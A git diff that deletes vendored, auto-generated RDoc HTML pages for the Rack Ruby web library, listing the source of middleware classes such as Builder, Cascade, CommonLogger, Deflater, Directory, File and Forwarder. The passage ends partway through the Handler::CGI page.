- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Builder.html b/vendor/plugins/rack/doc/classes/Rack/Builder.html deleted file mode 100644 index 8d4fc892..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Builder.html +++ /dev/null @@ -1,340 +0,0 @@ - - - - - - Class: Rack::Builder - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Builder
In: - - lib/rack/builder.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::Builder implements a small DSL to -iteratively construct Rack applications. -

-

-Example: -

-
- app = Rack::Builder.new {
-   use Rack::CommonLogger
-   use Rack::ShowExceptions
-   map "/lobster" do
-     use Rack::Lint
-     run Rack::Lobster.new
-   end
- }
-
-

-Or -

-
- app = Rack::Builder.app do
-   use Rack::CommonLogger
-   lambda { |env| [200, {'Content-Type' => 'text/plain'}, 'OK'] }
- end
-
-

-use adds a middleware to the -stack, run dispatches to an -application. You can use map to construct a Rack::URLMap in a convenient way. -

- -
- - -
- -
-

Methods

- -
- app   - call   - map   - new   - run   - to_app   - use   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - app(&block) - -
- -
-

[Source]

-
-
-    # File lib/rack/builder.rb, line 32
-32:     def self.app(&block)
-33:       self.new(&block).to_app
-34:     end
-
-
-
-
- -
- - -
- - new(&block) - -
- -
-

[Source]

-
-
-    # File lib/rack/builder.rb, line 27
-27:     def initialize(&block)
-28:       @ins = []
-29:       instance_eval(&block) if block_given?
-30:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/builder.rb, line 63
-63:     def call(env)
-64:       to_app.call(env)
-65:     end
-
-
-
-
- -
- - -
- - map(path, &block) - -
- -
-

[Source]

-
-
-    # File lib/rack/builder.rb, line 48
-48:     def map(path, &block)
-49:       if @ins.last.kind_of? Hash
-50:         @ins.last[path] = self.class.new(&block).to_app
-51:       else
-52:         @ins << {}
-53:         map(path, &block)
-54:       end
-55:     end
-
-
-
-
- -
- - -
- - run(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/builder.rb, line 44
-44:     def run(app)
-45:       @ins << app #lambda { |nothing| app }
-46:     end
-
-
-
-
- -
- - -
- - to_app() - -
- -
-

[Source]

-
-
-    # File lib/rack/builder.rb, line 57
-57:     def to_app
-58:       @ins[-1] = Rack::URLMap.new(@ins.last)  if Hash === @ins.last
-59:       inner_app = @ins.last
-60:       @ins[0...-1].reverse.inject(inner_app) { |a, e| e.call(a) }
-61:     end
-
-
-
-
- -
- - -
- - use(middleware, *args, &block) - -
- -
-

[Source]

-
-
-    # File lib/rack/builder.rb, line 36
-36:     def use(middleware, *args, &block)
-37:       @ins << if block_given?
-38:         lambda { |app| middleware.new(app, *args, &block) }
-39:       else
-40:         lambda { |app| middleware.new(app, *args) }
-41:       end
-42:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Cascade.html b/vendor/plugins/rack/doc/classes/Rack/Cascade.html deleted file mode 100644 index 63d48f1b..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Cascade.html +++ /dev/null @@ -1,265 +0,0 @@ - - - - - - Class: Rack::Cascade - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Cascade
In: - - lib/rack/cascade.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::Cascade tries an request on several apps, -and returns the first response that is not 404 (or in a list of -configurable status codes). -

- -
- - -
- -
-

Methods

- -
- <<   - add   - call   - include?   - new   -
-
- -
- - - - -
- - - - - -
-

Attributes

- -
- - - - - - -
apps [R] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(apps, catch=404) - -
- -
-

[Source]

-
-
-    # File lib/rack/cascade.rb, line 9
- 9:     def initialize(apps, catch=404)
-10:       @apps = apps
-11:       @catch = [*catch]
-12:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- <<(app) -
- -
-

-Alias for add -

-
-
- -
- - -
- - add(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/cascade.rb, line 26
-26:     def add app
-27:       @apps << app
-28:     end
-
-
-
-
- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/cascade.rb, line 14
-14:     def call(env)
-15:       status = headers = body = nil
-16:       raise ArgumentError, "empty cascade"  if @apps.empty?
-17:       @apps.each { |app|
-18:         begin
-19:           status, headers, body = app.call(env)
-20:           break  unless @catch.include?(status.to_i)
-21:         end
-22:       }
-23:       [status, headers, body]
-24:     end
-
-
-
-
- -
- - -
- - include?(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/cascade.rb, line 30
-30:     def include? app
-31:       @apps.include? app
-32:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/CommonLogger.html b/vendor/plugins/rack/doc/classes/Rack/CommonLogger.html deleted file mode 100644 index f208bf19..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/CommonLogger.html +++ /dev/null @@ -1,308 +0,0 @@ - - - - - - Class: Rack::CommonLogger - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::CommonLogger
In: - - lib/rack/commonlogger.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::CommonLogger forwards every request -to an app given, and logs a line in the Apache common log format -to the logger, or rack.errors by default. -

- -
- - -
- -
-

Methods

- -
- <<   - _call   - call   - close   - each   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app, logger=nil) - -
- -
-

[Source]

-
-
-    # File lib/rack/commonlogger.rb, line 7
- 7:     def initialize(app, logger=nil)
- 8:       @app = app
- 9:       @logger = logger
-10:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - <<(str) - -
- -
-

-By default, log to rack.errors. -

-

[Source]

-
-
-    # File lib/rack/commonlogger.rb, line 29
-29:     def <<(str)
-30:       @env["rack.errors"].write(str)
-31:       @env["rack.errors"].flush
-32:     end
-
-
-
-
- -
- - -
- - _call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/commonlogger.rb, line 16
-16:     def _call(env)
-17:       @env = env
-18:       @logger ||= self
-19:       @time = Time.now
-20:       @status, @header, @body = @app.call(env)
-21:       [@status, @header, self]
-22:     end
-
-
-
-
- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/commonlogger.rb, line 12
-12:     def call(env)
-13:       dup._call(env)
-14:     end
-
-
-
-
- -
- - -
- - close() - -
- -
-

[Source]

-
-
-    # File lib/rack/commonlogger.rb, line 24
-24:     def close
-25:       @body.close if @body.respond_to? :close
-26:     end
-
-
-
-
- -
- - -
- - each() {|part| ...} - -
- -
-

[Source]

-
-
-    # File lib/rack/commonlogger.rb, line 34
-34:     def each
-35:       length = 0
-36:       @body.each { |part|
-37:         length += part.size
-38:         yield part
-39:       }
-40: 
-41:       @now = Time.now
-42: 
-43:       # Common Log Format: http://httpd.apache.org/docs/1.3/logs.html#common
-44:       # lilith.local - - [07/Aug/2006 23:58:02] "GET / HTTP/1.1" 500 -
-45:       #             %{%s - %s [%s] "%s %s%s %s" %d %s\n} %
-46:       @logger << %{%s - %s [%s] "%s %s%s %s" %d %s %0.4f\n} %
-47:         [
-48:          @env['HTTP_X_FORWARDED_FOR'] || @env["REMOTE_ADDR"] || "-",
-49:          @env["REMOTE_USER"] || "-",
-50:          @now.strftime("%d/%b/%Y %H:%M:%S"),
-51:          @env["REQUEST_METHOD"],
-52:          @env["PATH_INFO"],
-53:          @env["QUERY_STRING"].empty? ? "" : "?"+@env["QUERY_STRING"],
-54:          @env["HTTP_VERSION"],
-55:          @status.to_s[0..3],
-56:          (length.zero? ? "-" : length.to_s),
-57:          @now - @time
-58:         ]
-59:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ConditionalGet.html b/vendor/plugins/rack/doc/classes/Rack/ConditionalGet.html deleted file mode 100644 index a9384d57..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/ConditionalGet.html +++ /dev/null @@ -1,199 +0,0 @@ - - - - - - Class: Rack::ConditionalGet - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::ConditionalGet
In: - - lib/rack/conditionalget.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Middleware that enables conditional GET using If-None-Match and -If-Modified-Since. The application should set either or both of the -Last-Modified or Etag response headers according to RFC 2616. When either -of the conditions is met, the response body is set to be zero length and -the response status is set to 304 Not Modified. -

-

-Applications that defer response body generation until the body‘s -each message is received will avoid response body generation completely -when a conditional GET matches. -

-

-Adapted from Michael Klishin‘s Merb implementation: github.com/wycats/merb-core/tree/master/lib/merb-core/rack/middleware/conditional_get.rb -

- -
- - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/conditionalget.rb, line 16
-16:     def initialize(app)
-17:       @app = app
-18:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/conditionalget.rb, line 20
-20:     def call(env)
-21:       return @app.call(env) unless %w[GET HEAD].include?(env['REQUEST_METHOD'])
-22: 
-23:       status, headers, body = @app.call(env)
-24:       headers = Utils::HeaderHash.new(headers)
-25:       if etag_matches?(env, headers) || modified_since?(env, headers)
-26:         status = 304
-27:         body = []
-28:       end
-29:       [status, headers, body]
-30:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ContentLength.html b/vendor/plugins/rack/doc/classes/Rack/ContentLength.html deleted file mode 100644 index 6d7868cf..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/ContentLength.html +++ /dev/null @@ -1,191 +0,0 @@ - - - - - - Class: Rack::ContentLength - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::ContentLength
In: - - lib/rack/content_length.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Sets the Content-Length header on responses with fixed-length bodies. -

- -
- - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-   # File lib/rack/content_length.rb, line 4
-4:     def initialize(app)
-5:       @app = app
-6:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/content_length.rb, line 8
- 8:     def call(env)
- 9:       status, headers, body = @app.call(env)
-10:       headers = Utils::HeaderHash.new(headers)
-11: 
-12:       if !Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) &&
-13:          !headers['Content-Length'] &&
-14:          !headers['Transfer-Encoding'] &&
-15:          (body.respond_to?(:to_ary) || body.respond_to?(:to_str))
-16: 
-17:         body = [body] if body.respond_to?(:to_str) # rack 0.4 compat
-18:         length = body.to_ary.inject(0) { |len, part| len + part.length }
-19:         headers['Content-Length'] = length.to_s
-20:       end
-21: 
-22:       [status, headers, body]
-23:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Deflater.html b/vendor/plugins/rack/doc/classes/Rack/Deflater.html deleted file mode 100644 index ade60011..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Deflater.html +++ /dev/null @@ -1,289 +0,0 @@ - - - - - - Class: Rack::Deflater - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Deflater
In: - - lib/rack/deflater.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- call   - deflate   - gzip   - new   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - -
DEFLATE_ARGS=[ Zlib::DEFAULT_COMPRESSION, # drop the zlib header which causes both Safari and IE to choke -Zlib::MAX_WBITS, Zlib::DEF_MEM_LEVEL, Zlib::DEFAULT_STRATEGY
-
-
- - - - - - - -
-

Public Class methods

- -
- - -
- - deflate(body) - -
- -
-

-Loosely based on Mongrel‘s Deflate handler -

-

[Source]

-
-
-    # File lib/rack/deflater.rb, line 77
-77:   def self.deflate(body)
-78:     deflater = Zlib::Deflate.new(*DEFLATE_ARGS)
-79: 
-80:     # TODO: Add streaming
-81:     body.each { |part| deflater << part }
-82: 
-83:     return deflater.finish
-84:   end
-
-
-
-
- -
- - -
- - gzip(body, mtime) - -
- -
-

[Source]

-
-
-    # File lib/rack/deflater.rb, line 56
-56:   def self.gzip(body, mtime)
-57:     io = StringIO.new
-58:     gzip = Zlib::GzipWriter.new(io)
-59:     gzip.mtime = mtime
-60: 
-61:     # TODO: Add streaming
-62:     body.each { |part| gzip << part }
-63: 
-64:     gzip.close
-65:     return io.string
-66:   end
-
-
-
-
- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/deflater.rb, line 8
- 8:   def initialize(app)
- 9:     @app = app
-10:   end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/deflater.rb, line 12
-12:   def call(env)
-13:     status, headers, body = @app.call(env)
-14:     headers = Utils::HeaderHash.new(headers)
-15: 
-16:     # Skip compressing empty entity body responses and responses with
-17:     # no-transform set.
-18:     if Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) ||
-19:         headers['Cache-Control'].to_s =~ /\bno-transform\b/
-20:       return [status, headers, body]
-21:     end
-22: 
-23:     request = Request.new(env)
-24: 
-25:     encoding = Utils.select_best_encoding(%w(gzip deflate identity),
-26:                                           request.accept_encoding)
-27: 
-28:     # Set the Vary HTTP header.
-29:     vary = headers["Vary"].to_s.split(",").map { |v| v.strip }
-30:     unless vary.include?("*") || vary.include?("Accept-Encoding")
-31:       headers["Vary"] = vary.push("Accept-Encoding").join(",")
-32:     end
-33: 
-34:     case encoding
-35:     when "gzip"
-36:       mtime = if headers.key?("Last-Modified") 
-37:                 Time.httpdate(headers["Last-Modified"]) 
-38:               else 
-39:                 Time.now
-40:               end
-41:       [status,
-42:        headers.merge("Content-Encoding" => "gzip"),
-43:        self.class.gzip(body, mtime)]
-44:     when "deflate"
-45:       [status,
-46:        headers.merge("Content-Encoding" => "deflate"),
-47:        self.class.deflate(body)]
-48:     when "identity"
-49:       [status, headers, body]
-50:     when nil
-51:       message = ["An acceptable encoding for the requested resource #{request.fullpath} could not be found."]
-52:       [406, {"Content-Type" => "text/plain"}, message]
-53:     end
-54:   end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Directory.html b/vendor/plugins/rack/doc/classes/Rack/Directory.html deleted file mode 100644 index 94f63aa5..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Directory.html +++ /dev/null @@ -1,493 +0,0 @@ - - - - - - Class: Rack::Directory - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Directory
In: - - lib/rack/directory.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::Directory serves entries below the -root given, according to the path info of the Rack request. If a directory is found, the -file‘s contents will be presented in an html based index. If a file -is found, the env will be passed to the specified app. -

-

-If app is not specified, a Rack::File of -the same root will be used. -

- -
- - -
- -
-

Methods

- -
- _call   - call   - check_forbidden   - each   - entity_not_found   - filesize_format   - list_directory   - list_path   - new   - stat   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - - - - - - - - - - - - - - - - - - -
DIR_FILE="<tr><td class='name'><a href='%s'>%s</a></td><td class='size'>%s</td><td class='type'>%s</td><td class='mtime'>%s</td></tr>"
DIR_PAGE=<<-PAGE <html><head> <title>%s</title> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <style type='text/css'> table { width:100%%; } .name { text-align:left; } .size, .mtime { text-align:right; } .type { width:11em; } .mtime { width:15em; } </style> </head><body> <h1>%s</h1> <hr /> <table> <tr> <th class='name'>Name</th> <th class='size'>Size</th> <th class='type'>Type</th> <th class='mtime'>Last Modified</th> </tr> %s </table> <hr /> </body></html> PAGE
F=::File
FILESIZE_FORMAT=[ ['%.1fT', 1 << 40], ['%.1fG', 1 << 30], ['%.1fM', 1 << 20], ['%.1fK', 1 << 10], ]  -Stolen from Ramaze - -
-
-
- - - -
-

Attributes

- -
- - - - - - - - - - - - - - - - -
files [R] 
path [RW] 
root [RW] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(root, app=nil) - -
- -
-

[Source]

-
-
-    # File lib/rack/directory.rb, line 45
-45:     def initialize(root, app=nil)
-46:       @root = F.expand_path(root)
-47:       @app = app || Rack::File.new(@root)
-48:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - _call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/directory.rb, line 56
-56:     def _call(env)
-57:       @env = env
-58:       @script_name = env['SCRIPT_NAME']
-59:       @path_info = Utils.unescape(env['PATH_INFO'])
-60: 
-61:       if forbidden = check_forbidden
-62:         forbidden
-63:       else
-64:         @path = F.join(@root, @path_info)
-65:         list_path
-66:       end
-67:     end
-
-
-
-
- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/directory.rb, line 50
-50:     def call(env)
-51:       dup._call(env)
-52:     end
-
-
-
-
- -
- - -
- - check_forbidden() - -
- -
-

[Source]

-
-
-    # File lib/rack/directory.rb, line 69
-69:     def check_forbidden
-70:       return unless @path_info.include? ".."
-71: 
-72:       body = "Forbidden\n"
-73:       size = body.respond_to?(:bytesize) ? body.bytesize : body.size
-74:       return [403, {"Content-Type" => "text/plain","Content-Length" => size.to_s}, [body]]
-75:     end
-
-
-
-
- -
- - -
- - each() {|l| ...} - -
- -
-

[Source]

-
-
-     # File lib/rack/directory.rb, line 127
-127:     def each
-128:       show_path = @path.sub(/^#{@root}/,'')
-129:       files = @files.map{|f| DIR_FILE % f }*"\n"
-130:       page  = DIR_PAGE % [ show_path, show_path , files ]
-131:       page.each_line{|l| yield l }
-132:     end
-
-
-
-
- -
- - -
- - entity_not_found() - -
- -
-

[Source]

-
-
-     # File lib/rack/directory.rb, line 121
-121:     def entity_not_found
-122:       body = "Entity not found: #{@path_info}\n"
-123:       size = body.respond_to?(:bytesize) ? body.bytesize : body.size
-124:       return [404, {"Content-Type" => "text/plain", "Content-Length" => size.to_s}, [body]]
-125:     end
-
-
-
-
- -
- - -
- - filesize_format(int) - -
- -
-

[Source]

-
-
-     # File lib/rack/directory.rb, line 143
-143:     def filesize_format(int)
-144:       FILESIZE_FORMAT.each do |format, size|
-145:         return format % (int.to_f / size) if int >= size
-146:       end
-147: 
-148:       int.to_s + 'B'
-149:     end
-
-
-
-
- -
- - -
- - list_directory() - -
- -
-

[Source]

-
-
-    # File lib/rack/directory.rb, line 77
-77:     def list_directory
-78:       @files = [['../','Parent Directory','','','']]
-79:       glob = F.join(@path, '*')
-80: 
-81:       Dir[glob].sort.each do |node|
-82:         stat = stat(node)
-83:         next  unless stat
-84:         basename = F.basename(node)
-85:         ext = F.extname(node)
-86: 
-87:         url = F.join(@script_name, @path_info, basename)
-88:         size = stat.size
-89:         type = stat.directory? ? 'directory' : Mime.mime_type(ext)
-90:         size = stat.directory? ? '-' : filesize_format(size)
-91:         mtime = stat.mtime.httpdate
-92: 
-93:         @files << [ url, basename, size, type, mtime ]
-94:       end
-95: 
-96:       return [ 200, {'Content-Type'=>'text/html; charset=utf-8'}, self ]
-97:     end
-
-
-
-
- -
- - -
- - list_path() - -
- -
-

-TODO: add correct response if not readable, not sure if 404 is the best -

-
-      option
-
-

[Source]

-
-
-     # File lib/rack/directory.rb, line 107
-107:     def list_path
-108:       @stat = F.stat(@path)
-109: 
-110:       if @stat.readable?
-111:         return @app.call(@env) if @stat.file?
-112:         return list_directory if @stat.directory?
-113:       else
-114:         raise Errno::ENOENT, 'No such file or directory'
-115:       end
-116: 
-117:     rescue Errno::ENOENT, Errno::ELOOP
-118:       return entity_not_found
-119:     end
-
-
-
-
- -
- - -
- - stat(node, max = 10) - -
- -
-

[Source]

-
-
-     # File lib/rack/directory.rb, line 99
- 99:     def stat(node, max = 10)
-100:       F.stat(node)
-101:     rescue Errno::ENOENT, Errno::ELOOP
-102:       return nil
-103:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/File.html b/vendor/plugins/rack/doc/classes/Rack/File.html deleted file mode 100644 index 065eca76..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/File.html +++ /dev/null @@ -1,378 +0,0 @@ - - - - - - Class: Rack::File - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::File
In: - - lib/rack/file.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::File serves files below the root -given, according to the path info of the Rack -request. -

-

-Handlers can detect if bodies are a Rack::File, and -use mechanisms like sendfile on the path. -

- -
- - -
- -
-

Methods

- -
- _call   - call   - each   - forbidden   - new   - not_found   - serving   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - -
F=::File
-
-
- - - -
-

Attributes

- -
- - - - - - - - - - - -
path [RW] 
root [RW] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(root) - -
- -
-

[Source]

-
-
-    # File lib/rack/file.rb, line 15
-15:     def initialize(root)
-16:       @root = root
-17:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - _call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/file.rb, line 25
-25:     def _call(env)
-26:       @path_info = Utils.unescape(env["PATH_INFO"])
-27:       return forbidden  if @path_info.include? ".."
-28: 
-29:       @path = F.join(@root, @path_info)
-30: 
-31:       begin
-32:         if F.file?(@path) && F.readable?(@path)
-33:           serving
-34:         else
-35:           raise Errno::EPERM
-36:         end
-37:       rescue SystemCallError
-38:         not_found
-39:       end
-40:     end
-
-
-
-
- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/file.rb, line 19
-19:     def call(env)
-20:       dup._call(env)
-21:     end
-
-
-
-
- -
- - -
- - each() {|part| ...} - -
- -
-

[Source]

-
-
-    # File lib/rack/file.rb, line 77
-77:     def each
-78:       F.open(@path, "rb") { |file|
-79:         while part = file.read(8192)
-80:           yield part
-81:         end
-82:       }
-83:     end
-
-
-
-
- -
- - -
- - forbidden() - -
- -
-

[Source]

-
-
-    # File lib/rack/file.rb, line 42
-42:     def forbidden
-43:       body = "Forbidden\n"
-44:       [403, {"Content-Type" => "text/plain",
-45:              "Content-Length" => body.size.to_s},
-46:        [body]]
-47:     end
-
-
-
-
- -
- - -
- - not_found() - -
- -
-

[Source]

-
-
-    # File lib/rack/file.rb, line 70
-70:     def not_found
-71:       body = "File not found: #{@path_info}\n"
-72:       [404, {"Content-Type" => "text/plain",
-73:          "Content-Length" => body.size.to_s},
-74:        [body]]
-75:     end
-
-
-
-
- -
- - -
- - serving() - -
- -
-

-NOTE: -

-
-  We check via File::size? whether this file provides size info
-  via stat (e.g. /proc files often don't), otherwise we have to
-  figure it out by reading the whole file into memory. And while
-  we're at it we also use this as body then.
-
-

[Source]

-
-
-    # File lib/rack/file.rb, line 55
-55:     def serving
-56:       if size = F.size?(@path)
-57:         body = self
-58:       else
-59:         body = [F.read(@path)]
-60:         size = body.first.size
-61:       end
-62: 
-63:       [200, {
-64:         "Last-Modified"  => F.mtime(@path).httpdate,
-65:         "Content-Type"   => Mime.mime_type(F.extname(@path), 'text/plain'),
-66:         "Content-Length" => size.to_s
-67:       }, body]
-68:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ForwardRequest.html b/vendor/plugins/rack/doc/classes/Rack/ForwardRequest.html deleted file mode 100644 index 8524b8f3..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/ForwardRequest.html +++ /dev/null @@ -1,184 +0,0 @@ - - - - - - Class: Rack::ForwardRequest - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::ForwardRequest
In: - - lib/rack/recursive.rb - -
-
Parent: - Exception -
-
- - -
- - - -
- -
-

-Rack::ForwardRequest gets caught by Rack::Recursive and redirects the current request -to the app at url. -

-
-  raise ForwardRequest.new("/not-found")
-
- -
- - -
- -
-

Methods

- -
- new   -
-
- -
- - - - -
- - - - - -
-

Attributes

- -
- - - - - - - - - - - -
env [R] 
url [R] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(url, env={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/recursive.rb, line 13
-13:     def initialize(url, env={})
-14:       @url = URI(url)
-15:       @env = env
-16: 
-17:       @env["PATH_INFO"] =       @url.path
-18:       @env["QUERY_STRING"] =    @url.query  if @url.query
-19:       @env["HTTP_HOST"] =       @url.host   if @url.host
-20:       @env["HTTP_PORT"] =       @url.port   if @url.port
-21:       @env["rack.url_scheme"] = @url.scheme if @url.scheme
-22: 
-23:       super "forwarding to #{url}"
-24:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Forwarder.html b/vendor/plugins/rack/doc/classes/Rack/Forwarder.html deleted file mode 100644 index 9a645671..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Forwarder.html +++ /dev/null @@ -1,196 +0,0 @@ - - - - - - Class: Rack::Forwarder - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Forwarder
In: - - lib/rack/forward.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(host, port=80) - -
- -
-

[Source]

-
-
-    # File lib/rack/forward.rb, line 12
-12:     def initialize(host, port=80)
-13:       @host, @port = host, port
-14:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/forward.rb, line 16
-16:     def call(env)
-17:       rackreq = Rack::Request.new(env)
-18: 
-19:       headers = Rack::Utils::HeaderHash.new
-20:       env.each { |key, value|
-21:         if key =~ /HTTP_(.*)/
-22:           headers[$1] = value
-23:         end
-24:       }
-25: 
-26:       res = Net::HTTP.start(@host, @port) { |http|
-27:         m = rackreq.request_method
-28:         case m
-29:         when "GET", "HEAD", "DELETE", "OPTIONS", "TRACE"
-30:           req = Net::HTTP.const_get(m.capitalize).new(rackreq.fullpath, headers)
-31:         when "PUT", "POST"
-32:           req = Net::HTTP.const_get(m.capitalize).new(rackreq.fullpath, headers)
-33:           req.body_stream = rackreq.body
-34:         else
-35:           raise "method not supported: #{method}"
-36:         end
-37: 
-38:         http.request(req)
-39:       }
-40: 
-41:       [res.code, Rack::Utils::HeaderHash.new(res.to_hash), [res.body]]
-42:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler.html b/vendor/plugins/rack/doc/classes/Rack/Handler.html deleted file mode 100644 index ad7989bf..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler.html +++ /dev/null @@ -1,242 +0,0 @@ - - - - - - Module: Rack::Handler - - - - - - - - - - - - - -
- - - -
- -
-

-Handlers connect web servers with Rack. -

-

-Rack includes Handlers for Mongrel, WEBrick, FastCGI, CGI, SCGI and -LiteSpeed. -

-

-Handlers usually are activated by calling MyHandler.run(myapp). A -second optional hash can be passed to include server-specific -configuration. -

- -
- - -
- -
-

Methods

- -
- get   - register   -
-
- -
- - - - -
- - - - - - - - - - -
-

Public Class methods

- -
- - -
- - get(server) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler.rb, line 11
-11:     def self.get(server)
-12:       return unless server
-13: 
-14:       if klass = @handlers[server]
-15:         obj = Object
-16:         klass.split("::").each { |x| obj = obj.const_get(x) }
-17:         obj
-18:       else
-19:         Rack::Handler.const_get(server.capitalize)
-20:       end
-21:     end
-
-
-
-
- -
- - -
- - register(server, klass) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler.rb, line 23
-23:     def self.register(server, klass)
-24:       @handlers ||= {}
-25:       @handlers[server] = klass
-26:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/CGI.html b/vendor/plugins/rack/doc/classes/Rack/Handler/CGI.html deleted file mode 100644 index 9d88b842..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler/CGI.html +++ /dev/null @@ -1,254 +0,0 @@ - - - - - - Class: Rack::Handler::CGI - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Handler::CGI
In: - - lib/rack/handler/cgi.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- run   - send_body   - send_headers   - serve   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - run(app, options=nil) - -
- -
-

[Source]

-
-
-   # File lib/rack/handler/cgi.rb, line 4
-4:       def self.run(app, options=nil)
-5:         serve app
-6:       end
-
-
-
-
- -
- - -
- - send_body(body) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/cgi.rb, line 49
-49:       def self.send_body(body)
-50:         body.each { |part|
-51:           STDOUT.print part
-52:           STDOUT.flush
-53:         }
-54:       end
-
-
-
-
- -
- - -
- - send_headers(status, headers) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/cgi.rb, line 38
-38:       def self.send_headers(status, headers)
-39:         STDOUT.print "Status: #{status}\r\n"
-40:         headers.each { |k, vs|
-41:           vs.each { |v|
-42:             STDOUT.print "#{k}: #{v}\r\n"
-43:           }
-44:         }
-45:         STDOUT.print "\r\n"
